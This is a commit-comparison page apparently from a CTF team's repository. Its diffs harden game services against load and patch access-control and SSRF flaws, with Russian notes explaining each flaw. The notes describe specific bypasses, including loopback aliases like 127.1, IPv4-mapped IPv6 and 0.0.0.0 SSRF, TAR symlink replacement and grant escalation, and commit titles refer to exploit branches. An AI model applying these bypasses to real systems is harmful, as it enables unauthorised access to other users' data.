Compare commits

..
Author SHA1 Message Date
TakuyaYagam1 a4c618e9f4 fix(lighthouse): preserve HTTP capacity under connection load 2026-10-25 16:52:37 +03:00
scandal 325879223f Merge pull request 'Fix/starpost cargo sla' (#17) from fix/starpost-cargo-sla into main
Reviewed-on: #17
2026-10-25 16:20:07 +03:00
scandalist-trash afabca2f1e Merge remote-tracking branch 'origin/main' into fix/starpost-cargo-sla 2026-10-25 09:17:54 -04:00
scandalist-trash 51e49ee46e starpost: preserve cargo checker window 2026-10-25 09:16:23 -04:00
TakuyaYagam1 5e5d5a0822 fix(lighthouse): extend bounded checker wait 2026-10-25 16:14:47 +03:00
TakuyaYagam1 f4738419eb fix(lighthouse): preserve checker capacity 2026-10-25 16:01:34 +03:00
scandal c9bf189f09 Merge pull request 'starpost: contain prestaged cargo buyers' (#16) from fix/starpost-cargo-defense into main
Reviewed-on: #16
2026-10-25 15:54:40 +03:00
TakuyaYagam1 2959f06049 fix(lighthouse): reject compiler floods 2026-10-25 15:51:47 +03:00
scandalist-trash b5bbafc664 starpost: contain prestaged cargo buyers 2026-10-25 08:49:26 -04:00
scandal b28069ecfc Merge pull request 'exploit(starpost): race cargo purchase window' (#15) from exploit/starpost-cargo-window into main
Reviewed-on: #15
2026-10-25 15:06:54 +03:00
scandalist-trash dad25bd00e exploit(starpost): race cargo purchase window 2026-10-25 08:02:57 -04:00
scandal e7e182e406 Merge pull request 'orbital-navigation: add legacy state sploit' (#14) from exploit/orbital-nondos into main
Reviewed-on: #14
2026-10-25 14:58:18 +03:00
scandalist-trash 373d8b72c3 orbital-navigation: add legacy state sploit 2026-10-25 07:57:32 -04:00
TakuyaYagam1 c250c88588 fix(starpost): limit late cargo disclosure 2026-10-25 14:41:50 +03:00
TakuyaYagam1 f5d6138630 orbital-navigation: recover after stale state 2026-10-25 14:41:50 +03:00
shira 9f46b00530 test(orbital_navigation): add local checker coverage 2026-10-25 14:40:45 +03:00
scandal 9182c96045 Merge pull request 'fix(starpost): restore checker purchase flow' (#13) from fix/starpost-buy-sla into main
Reviewed-on: #13
2026-10-25 14:32:35 +03:00
scandalist-trash eb9d98e0a3 fix(starpost): restore checker purchase flow 2026-10-25 07:31:42 -04:00
scandal 3a8c7dac2e Merge pull request 'fix(starpost): reject contract probes before database access' (#12) from fix/starpost-pcap-dos into main
Reviewed-on: #12
2026-10-25 14:15:42 +03:00
scandal c2611ca8a6 Merge pull request 'orbital-navigation: block mapped loopback SSRF' (#11) from fix/orbital-mapped-ssrf into main
Reviewed-on: #11
2026-10-25 14:15:18 +03:00
scandalist-trash a71eb6b14c fix(starpost): reject contract probes before database access 2026-10-25 07:13:56 -04:00
scandalist-trash ac759c5ba5 orbital-navigation: block mapped loopback SSRF 2026-10-25 07:07:47 -04:00
TakuyaYagam1 2870f3e635 greenhouse: bound request resources 2026-10-25 13:55:17 +03:00
TakuyaYagam1 0a4439444e Revert "starpost: restrict cargo to first order"
This reverts commit ecd6d55523.
2026-10-25 13:55:17 +03:00
shira 206f16cf05 lighthouse: add bounded local cpp-httplib CVE probe 2026-10-25 13:03:35 +03:00
shira fd4f3c8797 lighthouse: use patched cpp-httplib 0.53.1 2026-10-25 13:01:24 +03:00
scandal a8ab0e7f58 Merge pull request 'orbital-navigation: add focused summary SSRF exploit' (#9) from exploit/orbital-summary-ssrf into main
Reviewed-on: #9
2026-10-25 12:55:47 +03:00
scandalist-trash e562daacc5 orbital-navigation: add focused summary SSRF exploit 2026-10-25 05:53:09 -04:00
shira 74baf0bcc6 orbital-navigation: harden and speed up host-only exploit 2026-10-25 12:50:35 +03:00
scandal 9c06a36a4b Merge pull request 'orbital-navigation: close residual data leaks' (#8) from fix/orbital-unspecified-ssrf into main
Reviewed-on: #8
2026-10-25 12:33:58 +03:00
scandalist-trash 5d2407b076 orbital-navigation: close residual data leaks 2026-10-25 05:31:54 -04:00
shira 29c864990a Update Starpost exploit promo flow 2026-10-25 12:16:23 +03:00
takuya e112480339 Merge pull request 'orbital-navigation: add host-only state dump sploit' (#7) from exploit/orbital-host-only-state-dump into main
Reviewed-on: #7
2026-10-25 12:10:22 +03:00
takuya f09895d65e Merge pull request 'Fix/starpost promo gate' (#6) from fix/starpost-promo-gate into main
Reviewed-on: #6
2026-10-25 12:04:36 +03:00
Мария Янова 36c5a18577 orbital-navigation: add host-only state dump sploit 2026-10-25 12:01:26 +03:00
29 changed files with 24596 additions and 198 deletions

No files matched your search

+79 -16
View File
@@ -21,8 +21,10 @@ PUBLIC_TOKEN = "visitor"
CONSOLE_SOCKET = DATA / "console.sock"
CONSOLE_SESSIONS = {}
CONSOLE_LOCK = threading.Lock()
CONSOLE_IDLE_SECONDS = 300
CONSOLE_IDLE_SECONDS = 30
CONSOLE_LIMIT = 64
HTTP_WORKERS = 48
HTTP_SOCKET_TIMEOUT = 5
class ConsoleSession:
@@ -78,23 +80,29 @@ def prune_consoles():
def connection():
db = sqlite3.connect(DB, timeout=10)
db = sqlite3.connect(DB, timeout=3)
db.row_factory = sqlite3.Row
db.execute("PRAGMA journal_mode=WAL")
db.execute("""CREATE TABLE IF NOT EXISTS plots (
id TEXT PRIMARY KEY, token TEXT NOT NULL, name TEXT NOT NULL,
cultivar TEXT NOT NULL, note TEXT NOT NULL, archive TEXT NOT NULL,
created INTEGER DEFAULT (unixepoch()))""")
db.execute("""CREATE TABLE IF NOT EXISTS telemetry (
id INTEGER PRIMARY KEY, plot TEXT NOT NULL, kind TEXT NOT NULL,
value TEXT NOT NULL, created INTEGER DEFAULT (unixepoch()))""")
db.execute("INSERT OR IGNORE INTO plots(id,token,name,cultivar,note,archive) VALUES (?,?,?,?,?,?)",
(PUBLIC_ID, PUBLIC_TOKEN, "Публичный купол", "Helianthus orbitalis",
"Добро пожаловать на станцию ОРБИТА.КВАНТУМ", "Калибровка открытого контура"))
db.commit()
return db
def initialize_database():
with connection() as db:
db.execute("PRAGMA journal_mode=WAL")
db.execute("PRAGMA synchronous=NORMAL")
db.execute("""CREATE TABLE IF NOT EXISTS plots (
id TEXT PRIMARY KEY, token TEXT NOT NULL, name TEXT NOT NULL,
cultivar TEXT NOT NULL, note TEXT NOT NULL, archive TEXT NOT NULL,
created INTEGER DEFAULT (unixepoch()))""")
db.execute("""CREATE TABLE IF NOT EXISTS telemetry (
id INTEGER PRIMARY KEY, plot TEXT NOT NULL, kind TEXT NOT NULL,
value TEXT NOT NULL, created INTEGER DEFAULT (unixepoch()))""")
db.execute("CREATE INDEX IF NOT EXISTS telemetry_plot_id_idx ON telemetry(plot,id DESC)")
db.execute("INSERT OR IGNORE INTO plots(id,token,name,cultivar,note,archive) VALUES (?,?,?,?,?,?)",
(PUBLIC_ID, PUBLIC_TOKEN, "Публичный купол", "Helianthus orbitalis",
"Добро пожаловать на станцию ОРБИТА.КВАНТУМ", "Калибровка открытого контура"))
db.commit()
def row_public(row):
return {"id": row["id"], "name": row["name"], "cultivar": row["cultivar"],
"created": row["created"]}
@@ -115,6 +123,18 @@ class Handler(BaseHTTPRequestHandler):
def log_message(self, fmt, *args):
print("%s %s" % (self.address_string(), fmt % args), flush=True)
def log_request(self, code="-", size="-"):
try:
if int(code) >= 500:
super().log_request(code, size)
except (TypeError, ValueError):
super().log_request(code, size)
def log_error(self, fmt, *args):
if fmt.startswith("Request timed out"):
return
super().log_error(fmt, *args)
def reply(self, code, payload):
body = json.dumps(payload, ensure_ascii=False, separators=(",", ":")).encode()
self.send_response(code)
@@ -291,6 +311,12 @@ class Handler(BaseHTTPRequestHandler):
if not db.execute("SELECT 1 FROM plots WHERE id=?", (id_,)).fetchone():
return self.reply(404, {"error": "unknown plot"})
db.execute("INSERT INTO telemetry(plot,kind,value) VALUES (?,?,?)", (id_, kind, value))
db.execute(
"""DELETE FROM telemetry WHERE plot=? AND id NOT IN (
SELECT id FROM telemetry WHERE plot=? ORDER BY id DESC LIMIT 256
)""",
(id_, id_),
)
db.commit()
return self.reply(201, {"ok": True})
return self.reply(404, {"error": "unknown endpoint"})
@@ -298,6 +324,43 @@ class Handler(BaseHTTPRequestHandler):
return self.reply(400, {"error": str(exc)})
class BoundedThreadingHTTPServer(ThreadingHTTPServer):
daemon_threads = True
request_queue_size = 128
def __init__(self, server_address, handler):
self.worker_slots = threading.BoundedSemaphore(HTTP_WORKERS)
super().__init__(server_address, handler)
def get_request(self):
request, address = super().get_request()
request.settimeout(HTTP_SOCKET_TIMEOUT)
return request, address
def process_request(self, request, client_address):
if not self.worker_slots.acquire(blocking=False):
try:
request.sendall(
b"HTTP/1.0 503 Service Unavailable\r\n"
b"Connection: close\r\nContent-Length: 0\r\n\r\n"
)
except OSError:
pass
self.shutdown_request(request)
return
try:
super().process_request(request, client_address)
except BaseException:
self.worker_slots.release()
raise
def process_request_thread(self, request, client_address):
try:
super().process_request_thread(request, client_address)
finally:
self.worker_slots.release()
if __name__ == "__main__":
connection().close()
ThreadingHTTPServer(("0.0.0.0", int(os.environ.get("PORT", "8080"))), Handler).serve_forever()
initialize_database()
BoundedThreadingHTTPServer(("0.0.0.0", int(os.environ.get("PORT", "8080"))), Handler).serve_forever()
+6
View File
@@ -11,5 +11,11 @@ services:
- greenhouse_data:/data
pids_limit: 256
mem_limit: 512m
cpus: 1.0
healthcheck:
test: ["CMD", "python3", "-c", "import urllib.request; urllib.request.urlopen('http://127.0.0.1:8080/api/status', timeout=2)"]
interval: 5s
timeout: 3s
retries: 5
volumes:
greenhouse_data:
+9
View File
@@ -34,3 +34,12 @@
- Старые запросы к projection и spectrum без нужного ключа получают `403`.
- Команды `STATUS`, `SOW`, `READ`, `OBSERVE`, `DUMP`, `VIEW`, `DROP`, `FILL` работают. После `DROP` и повторного занятия блока через `FILL` команда `VIEW` отвечает `ERR denied`.
- Полный checker организаторов недоступен. Обычная повторная сборка исходного Dockerfile один раз остановилась на TLS timeout Docker Hub, поэтому итоговый runtime проверен офлайн поверх ранее собранного baseline-образа.
## Устойчивость под нагрузкой
- HTTP-сервер ограничен 48 одновременными обработчиками и закрывает медленные соединения через 5 секунд. При исчерпании пула новый запрос получает 503 вместо создания неограниченного числа потоков.
- Инициализация схемы SQLite и переключение WAL выполняются один раз при старте, а не на каждом API-запросе.
- Для чтения telemetry добавлен индекс. На один участок сохраняются последние 256 записей; API и раньше возвращал только последние 40.
- Брошенные сессии нативной консоли освобождаются через 30 секунд. Форматы запросов и ответов не изменены.
- Успешные запросы и ожидаемые socket timeout не пишутся в Docker-лог, чтобы поток запросов не заполнял диск. Ответы 5xx остаются в логе.
- Compose ограничивает сервис одним CPU и проверяет `/api/status` каждые 5 секунд. База и volume при обновлении не пересоздаются.
+1 -1
View File
@@ -18,7 +18,7 @@ RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates
&& cp -a /tmp/wasmtime-v${WASMTIME_VERSION}-${WASMTIME_ARCH}-linux-c-api/lib/libwasmtime.so* /out/lib/
FROM debian:bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends cmake make g++ clang llvm lld libcpp-httplib-dev libsqlite3-dev nlohmann-json3-dev sqlite3 util-linux \
RUN apt-get update && apt-get install -y --no-install-recommends cmake make g++ clang llvm lld libsqlite3-dev nlohmann-json3-dev sqlite3 util-linux \
&& rm -rf /var/lib/apt/lists/*
COPY --from=wasmtime /out/include/ /usr/local/include/
COPY --from=wasmtime /out/lib/ /usr/local/lib/
+3 -2
View File
@@ -7,9 +7,10 @@
- L-01: истёкшие записи удаляются ограниченными порциями, отдельный журнал ограничен 512 KiB. Создание множества очередей всё ещё может расходовать хранилище.
- L-04: журнал закрыт для процесса компилятора правами 0700/0600. Локально `#include` и `.incbin` больше не читают его.
- L-05: формат шифрования и индивидуальные `read_key` сохранены для совместимости со старыми данными.
- L-06: одновременно работают не более двух компиляций; после исчерпания слотов допускается не более восьми ожидающих запросов и не более пятнадцати секунд ожидания, а лишние запросы получают `429`. Лимит выбран по наблюдаемой очереди: восемь работ при двух слотах и трёхсекундном пределе на compile/listing укладываются примерно в двенадцать секунд, тогда как checker ограничен тридцатью секундами. HTTP pool содержит 64-192 потока и ограниченную очередь 512. Таймаут чтения сокета сокращен до 250 мс, keep-alive timeout до одной секунды, keep-alive ограничен двумя запросами, а listen backlog увеличен до 1024. Это application-level ограничение емкости без прокси, IP-фильтрации или изменения API. Дорогая компиляция по-прежнему ограничена отдельно, поэтому дополнительные HTTP workers обслуживают короткие checker-запросы, а не увеличивают число `clang`. `clang` и `llvm-objdump` запускаются с низким CPU priority. Compose ограничивает процесс двумя CPU, 1 GiB памяти и 256 PID и автоматически перезапускает контейнер.
На одноразовых синтетических Docker-томах прошли сборка и проверка 253 условий после рестарта, включая старые сообщения и фильтр. Пассивное наблюдение официального CHECK 25.10.2026 показало `POST /filter` без ключа и ответ `403` текущего образа; исправление совместимости требует проверки следующим раундом после выкладки. Игровой том этим локальным тестом не проверялся. Изменение чтения более 128 сообщений также требует проверки CHECK/PUT/GET.
На одноразовых синтетических Docker-томах прошли сборка и проверка 253 условий после рестарта, включая старые сообщения и фильтр. Пассивное наблюдение официального CHECK 25.10.2026 показало `POST /filter` без ключа и ответ `403` прежнего образа; совместимость публичного вызова восстановлена в `143182a`, который входит в основу этого кандидата. Игровой том локальным тестом не проверялся. Изменение чтения более 128 сообщений также требует проверки CHECK/PUT/GET.
**Известный риск DOWN:** Dockerfile устанавливает Debian bookworm `libcpp-httplib-dev` / `libcpp-httplib0.11` версии `0.11.4+ds-1+deb12u1`. [Debian Security Tracker](https://security-tracker.debian.org/tracker/CVE-2026-45352) отмечает эту версию уязвимой к CVE-2026-45352 (отказ в обслуживании при некорректном chunked-запросе); [описание разработчика](https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-h6wq-j5mv-f3q8) указывает исправление в 0.43.4. Кроме того, [Debian Security Tracker](https://security-tracker.debian.org/tracker/CVE-2025-53628) помечает ту же bookworm-сборку уязвимой к CVE-2025-53628: неограниченная длина строки HTTP-запроса может вызвать расход памяти и отказ в обслуживании до обработки запроса приложением. Лимит `set_payload_max_length(32768)` ограничивает тело, а не эту строку; более того, [CVE-2025-46728](https://security-tracker.debian.org/tracker/CVE-2025-46728) позволяет обойти и сам лимит тела через chunked-запрос в этой версии `cpp-httplib`. Данный кандидат эти риски не устраняет. Перед игровым переключением нужна отдельная проверенная замена зависимости и тесты совместимости; простой `apt upgrade` внутри bookworm не подтверждает исправление.
**HTTP-парсер:** Dockerfile больше не устанавливает Debian bookworm `libcpp-httplib-dev` / `libcpp-httplib0.11` версии `0.11.4+ds-1+deb12u1`. Lighthouse собирается со сверенным по SHA-256 заголовком upstream `cpp-httplib` 0.53.1 из `server/vendor/`. Эта версия включает исправления [CVE-2025-46728](https://security-tracker.debian.org/tracker/CVE-2025-46728), [CVE-2025-53628](https://security-tracker.debian.org/tracker/CVE-2025-53628), [CVE-2025-53629](https://security-tracker.debian.org/tracker/CVE-2025-53629) и [CVE-2026-45352](https://security-tracker.debian.org/tracker/CVE-2026-45352). `set_payload_max_length(32768)` сохранён. Локальная сборка и smoke на одноразовых томах пройдены после переноса данных из прежнего образа; это не доказывает исправность игрового checker или текущую версию на vulnbox до её отдельной выкладки.
В этом же приватном репозитории находится `sploits/lighthouse/`. Полный clone/pull на vulnbox принесёт и атакующий код. При подготовке выкладки переносите только нужный каталог сервиса; не монтируйте `sploits/` в контейнер и не помещайте его в web root. Для отката сохраняйте тома данных: не используйте `compose down -v`.
+4
View File
@@ -2,7 +2,11 @@ name: lighthouse
services:
lighthouse:
restart: unless-stopped
build: .
pids_limit: 256
mem_limit: 1g
cpus: 2.0
ports:
- "8085:8080"
volumes:
+1 -2
View File
@@ -4,9 +4,8 @@ set(CMAKE_CXX_STANDARD 20)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_EXTENSIONS OFF)
add_executable(lighthouse main.cpp)
target_include_directories(lighthouse PRIVATE vendor)
find_package(SQLite3 REQUIRED)
target_link_libraries(lighthouse PRIVATE SQLite::SQLite3 pthread)
find_library(HTTPLIB_LIBRARY NAMES cpp-httplib cpp-httplib.so.0.11 cpp-httplib.so.0.14 REQUIRED)
target_link_libraries(lighthouse PRIVATE ${HTTPLIB_LIBRARY})
find_library(WASMTIME_LIBRARY NAMES wasmtime REQUIRED)
target_link_libraries(lighthouse PRIVATE ${WASMTIME_LIBRARY})
+11 -4
View File
@@ -23,12 +23,19 @@ class Slots {
std::mutex lock_;
std::condition_variable room_;
int held_ = 0;
int waiting_ = 0;
int limit_;
public:
explicit Slots(int limit) : limit_(limit) {}
void acquire() {
std::unique_lock guard(lock_);
room_.wait(guard, [&] { return held_ < limit_; });
if (held_ >= limit_) {
if (waiting_ >= 8) throw Busy();
++waiting_;
bool available = room_.wait_for(guard, std::chrono::seconds(15), [&] { return held_ < limit_; });
--waiting_;
if (!available) throw Busy();
}
++held_;
}
void release() {
@@ -101,7 +108,7 @@ public:
bool cc() {
int status = legacy::system({
"/usr/bin/timeout", "-k", "1s", "2s", "/usr/bin/prlimit",
"/usr/bin/nice", "-n", "19", "/usr/bin/timeout", "-k", "1s", "2s", "/usr/bin/prlimit",
"--fsize=32768:32768", "--cpu=2:2", "--as=268435456:268435456",
"/usr/bin/setpriv", "--reuid", "nobody", "--regid", "nogroup",
"--clear-groups", "--no-new-privs", "--bounding-set", "-all",
@@ -127,7 +134,7 @@ public:
fs::copy_file(module_, artifact);
result.path = artifact.string();
int status = legacy::system({
"/usr/bin/timeout", "-k", "1s", "1s", "/usr/bin/prlimit",
"/usr/bin/nice", "-n", "19", "/usr/bin/timeout", "-k", "1s", "1s", "/usr/bin/prlimit",
"--fsize=32768:32768", "--cpu=1:1", "--as=268435456:268435456",
"/usr/bin/setpriv", "--reuid", "nobody", "--regid", "nogroup",
"--clear-groups", "--no-new-privs", "--bounding-set", "-all",
@@ -140,7 +147,7 @@ public:
};
inline Artifact compile(const std::string& source) {
static Slots slots(4);
static Slots slots(2);
Slot slot(slots);
Build build(source);
recipe::run(recipe::filter, build);
+11
View File
@@ -1,3 +1,4 @@
#define CPPHTTPLIB_LISTEN_BACKLOG 1024
#include <httplib.h>
#include "chronicle.hpp"
@@ -344,6 +345,16 @@ int main() {
try {
initialize();
httplib::Server server;
// Connections are accepted before cpp-httplib can inspect their route. Keep
// enough short-lived workers for checker traffic during connection floods,
// but bound both the pool and its queue so overload cannot grow without
// limit. Expensive filter compilation has its own much smaller admission
// limit in compiler.hpp.
server.new_task_queue = [] { return new httplib::ThreadPool(64, 192, 512); };
server.set_keep_alive_max_count(2);
server.set_keep_alive_timeout(1);
server.set_read_timeout(0, 250000);
server.set_write_timeout(3, 0);
server.set_payload_max_length(32768);
server.set_pre_routing_handler([](const httplib::Request& request, httplib::Response& response) {
if (request.has_header("Range")) {
+21
View File
@@ -0,0 +1,21 @@
The MIT License (MIT)
Copyright (c) 2017 yhirose
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+11
View File
@@ -0,0 +1,11 @@
# cpp-httplib
`httplib.h` is the unmodified header from upstream tag
[`v0.53.1`](https://github.com/yhirose/cpp-httplib/releases/tag/v0.53.1).
SHA-256: `bc69d53636a8757cb24a1deb9880bf7e2fdae3a80bbc759e145b8c80913cbfa3`.
The upstream license is included as `CPP-HTTPLIB-LICENSE`. This header replaces
Debian bookworm's `libcpp-httplib-dev` (0.11.4) for the Lighthouse binary.
The pinned version contains the fixes for CVE-2025-46728,
CVE-2025-53628, CVE-2025-53629, and CVE-2026-45352, as well as the
subsequent upstream header parsing and regex routing security fixes.
+21842
View File
File diff suppressed because it is too large. Load diff
+8 -5
View File
@@ -10,7 +10,7 @@
- `edit_profile` позволял владельцу профиля заменить `ship_id` на чужой корабль. Уже созданный экспортный job сохранял ссылку на профиль, а `run_export` не перепроверял владение текущим кораблём, поэтому после подмены профиля возвращал чужие сообщения.
- Ключ `geometry_cache` состоял только из `geometry`, `map_version` и `options`. Если другой пользователь первым создавал полёт с той же публичной тройкой параметров, отчёт по полёту мог взять его cached flight и раскрыть чужой manifest.
- `delegate` разрешал дочернему grant запрашивать права, отсутствующие у родительского grant, и не проверял фактическое истечение срока. Публичный grant с `delegate` можно было повысить до `manifest.read`; `read_manifest` также принимал просроченный grant.
- Внутренний маршрут `/internal/summaries/{id}` защищался только статическим importer key, который сам сервис добавлял при `import_bulletin`. Проверка URL отбрасывала лишь строковые `localhost`/`127.0.0.1`; loopback-алиас `127.1` разрешал SSRF и чтение чужой summary. Прямой запрос с известным ключом также не ограничивался loopback peer.
- Внутренний маршрут `/internal/summaries/{id}` защищался только статическим importer key, который сам сервис добавлял при `import_bulletin`. Проверка URL отбрасывала лишь строковые `localhost`/`127.0.0.1`; loopback-алиас `127.1` разрешал SSRF и чтение чужой summary. После первого исправления оставался обход через IPv4-mapped IPv6: разрешённый резолвером `::ffff:127.0.0.1` не считался IPv6 loopback, но подключался к IPv4 loopback. Прямой запрос с известным ключом также не ограничивался loopback peer.
- После `approve_package` содержимое пакета можно было заменить через повторный `PUT`, не сбрасывая approval. `generate_report` распаковывал уже заменённый TAR без повторной безопасной проверки и разрешал canonical target внутри общего `navigation`, поэтому symlink-entry мог прочитать файл навигации другого пользователя.
Ожидаемые источники флагов до исправления: сообщения корабля, manifest полёта, content summary и файлы `navigation/{flight_id}.txt`. Для воспроизведения нужны только публичные маршруты сервиса, обычные учётные записи и идентификаторы объектов; реальные флаги, игровые токены и чужие адреса здесь не используются.
@@ -21,10 +21,10 @@
## Исправление
- Проверка владельца добавлена при привязке источника, смене корабля профиля и выполнении export job.
- Проверка владельца добавлена при привязке и чтении источника, смене корабля профиля и выполнении export job. При загрузке состояния удаляются cross-owner source aliases, а результаты export jobs с нарушенной цепочкой владения очищаются.
- В cache key добавлен владелец; при загрузке состояния кэш безопасно перестраивается для существующих полётов.
- Делегируемые права теперь обязаны быть подмножеством родительских; оба срока должны быть действующими, а дочерний срок не может превышать родительский. `read_manifest` проверяет expiry.
- Internal summary требует одновременно loopback peer и importer key. `fetch_bulletin` запрещает любой адрес, который после DNS-разрешения является loopback, включая каждый redirect.
- Делегируемые права теперь обязаны быть подмножеством родительских; оба срока должны быть действующими, а дочерний срок не может превышать родительский. `read_manifest` проверяет expiry. При загрузке удаляются просроченные и legacy grants с правами, которые нельзя получить через штатный `grant_geometry`.
- Internal summary требует одновременно loopback peer и importer key. `fetch_bulletin` канонизирует IPv4-mapped IPv6 после DNS-разрешения и запрещает loopback или unspecified адрес перед каждым соединением, включая redirects.
- Любая повторная загрузка package сбрасывает approval. Перед распаковкой пакет снова проходит `validate_safe_tar`, а attachment обязан оставаться внутри индивидуального work-каталога.
## Проверки
@@ -32,6 +32,9 @@
- Docker image успешно собран командой `docker compose -f compose.yml build`.
- На исходной версии все шесть классов проблем воспроизведены с синтетическими данными; second-order export дополнительно проверен отдельной последовательностью HTTP-запросов и после перезапуска контейнера.
- На исправленной версии прошли 12 runtime-сценариев: штатные source/export/summary/package flows, запрет cross-user source/profile/cache, запрет повышения/просрочки grant, разрешённое subset-delegation, блокировка прямого internal endpoint и loopback-alias SSRF, блокировка замены одобренного TAR.
- Дополнительная baseline-vs-patch проверка настоящих бинарников воспроизвела на `f09895d` SSRF через `0.0.0.0`, чтение через сохранённый cross-owner alias, legacy `manifest.read` grant и poisoned export result. Исправленная версия блокирует все четыре пути, сохраняя owner reads, легитимный alias, subset-delegation и корректный завершённый export job.
- Отдельная synthetic runtime-проверка воспроизвела обход через IPv4-mapped IPv6 на `5d2407b`. После канонизации блокируются dotted/hex mapped loopback и mapped unspecified, включая переход через разрешённый redirect; обычный import с non-loopback HTTP endpoint сохраняет исходное содержимое.
- `cargo check --locked` и `cargo test --locked` проходят; проект не содержит встроенных unit-тестов.
- `git diff --check` проходит.
Ограничения: исходный проект не содержит автоматических тестов или checker; официальный Skipper/checker и сохранность реальных данных на vulnbox не проверялись. Патч не развёртывался и не отправлялся в Gitea.
Ограничения: исходный проект не содержит автоматических тестов или checker; официальный Skipper/checker и сохранность реальных данных на vulnbox не проверялись. Патч не развёртывался; ветка предназначена для проверки и слияния через Gitea.
+24 -1
View File
@@ -219,6 +219,27 @@ impl Server {
fs::create_dir_all(root.join("work"))?;
let mut state = load_state(&root)?;
let ships = &state.ships;
state.sources.retain(|source, owner| {
ships.get(&canonical(source)) == Some(owner)
});
let profiles = &state.profiles;
for job in state.jobs.values_mut() {
let valid = profiles.get(&job.profile).is_some_and(|profile| {
profile.owner == job.owner && ships.get(&profile.ship) == Some(&job.owner)
});
if !valid {
job.result = None;
}
}
let now = unix_time();
state.grants.retain(|_, grant| {
grant.expires >= now
&& grant
.rights
.iter()
.all(|right| matches!(right.as_str(), "geometry.read" | "delegate"))
});
let old_cache = std::mem::take(&mut state.geometry_cache);
for flight_id in old_cache.values() {
if let Some(flight) = state.flights.get(flight_id) {
@@ -325,6 +346,7 @@ impl Server {
check_owner(s.sources.get(source).ok_or("unknown source")?, &user)?;
let ship = canonical(source);
check_owner(s.ships.get(&ship).ok_or("unknown ship")?, &user)?;
Ok(json!({"messages":s.messages.get(&ship).cloned().unwrap_or_default()}))
}
"create_profile" => {
@@ -819,7 +841,8 @@ impl Server {
.map_err(|e| format!("resolve {host}:{port}: {e}"))?
.next()
.ok_or("no address")?;
if addr.ip().is_loopback() {
let ip = addr.ip().to_canonical();
if ip.is_loopback() || ip.is_unspecified() {
return Err("internal source forbidden".into());
}
+65
View File
@@ -0,0 +1,65 @@
# Local Orbital Navigation checker
`checker.py` exercises the real HTTP interface with Python's standard library.
It uses five distinct random **synthetic** values, never a game flag. Run it
only against an isolated local container and a separate test volume. The
private Skipper checker is unavailable, so this is a deployment regression
test, not a replica or proof of a scored `UP` round. Public Skipper logs show
CHECK/PUT/GET status and duration but do not expose their internal requests.
## Run against a disposable container
From the repository root, choose a free loopback port (shown here as `18086`):
```sh
TEST_ID="orbital-check-$(date +%s)-$$"
STATE_FILE="/tmp/${TEST_ID}.json"
docker build -t "${TEST_ID}:local" orbital_navigation
docker volume create "${TEST_ID}-data"
docker run -d --name "$TEST_ID" -p 127.0.0.1:18086:8080 \
-v "${TEST_ID}-data:/data" "${TEST_ID}:local"
python3 orbital_navigation/tests/checker.py \
--url http://127.0.0.1:18086 --state "$STATE_FILE" put
docker restart "$TEST_ID"
python3 orbital_navigation/tests/checker.py \
--url http://127.0.0.1:18086 --state "$STATE_FILE" get
python3 orbital_navigation/tests/checker.py \
--url http://127.0.0.1:18086 --state "$STATE_FILE" check
```
`put` refuses to overwrite an existing state file. Its atomic write creates
the file with mode `0600`; it contains the two synthetic user tokens and the
five markers, so keep it outside Git and do not share its contents. `get`
reads the same records after a process restart with the same `/data` volume.
`check` verifies cross-user denials, legitimate public geometry delegation,
the observed `register` → `create_flight` → `grant_geometry` CHECK flow,
package upload/approval/report, approval reset after replacement, and small
malformed requests. It also checks a valid source alias, rejects loopback
bulletin URLs, and re-reads the summary at the end. All commands print only
pass/fail summaries.
To cover the normal `import_bulletin` → `import_result` path, start a tiny
HTTP mock in the disposable container's network at an address that is **not**
loopback from the service container. The service intentionally rejects
`localhost`, `127.0.0.1`, and their aliases. Then add `--import-url` and
`--import-contains` before `put` and `check`. `put` stores the imported content
in its private state file; `get` confirms it still exists after restart, while
`check` verifies a fresh import and cross-user denial. Choose a free mock port:
Docker can already be forwarding a port even when another host process appears
to listen on it. Keep this mock local; the service sends its importer header
to the specified server.
To remove **only this disposable test instance** after finishing:
```sh
docker rm -f "$TEST_ID"
docker volume rm "${TEST_ID}-data"
rm -f "$STATE_FILE"
```
`all` runs `put`, `get`, and `check` in one process, but the separate commands
above are needed to test old data across a restart. This checker does not
cover the private Skipper PUT/GET choice of flag slot, the normal bulletin
import unless a local mock URL is supplied, load limits, or the actual game
route. Confirm live status from Skipper after any deployment.
+441
View File
@@ -0,0 +1,441 @@
#!/usr/bin/env python3
"""Synthetic, local-only functional checker for Orbital Navigation.
This does not reproduce the private Skipper checker. Keep its state file outside
Git; it contains test bearer tokens and synthetic marker values.
"""
from __future__ import annotations
import argparse
import io
import json
import os
import secrets
import stat
import sys
import tarfile
import tempfile
import time
from pathlib import Path
from urllib.error import HTTPError, URLError
from urllib.request import Request, urlopen
class CheckFailure(Exception):
pass
class Client:
def __init__(self, base_url: str, timeout: float):
self.base_url = base_url.rstrip("/")
self.timeout = timeout
def request(
self,
path: str,
*,
method: str = "GET",
body: bytes | None = None,
headers: dict[str, str] | None = None,
) -> tuple[int, bytes]:
request = Request(
self.base_url + path,
data=body,
headers=headers or {},
method=method,
)
try:
with urlopen(request, timeout=self.timeout) as response:
return response.status, response.read(2_100_001)
except HTTPError as error:
return error.code, error.read(2_100_001)
except (URLError, TimeoutError, OSError) as error:
raise CheckFailure(f"HTTP {method} {path}: connection or timeout failure") from error
def wait_ready(self) -> None:
deadline = time.monotonic() + 6
while True:
try:
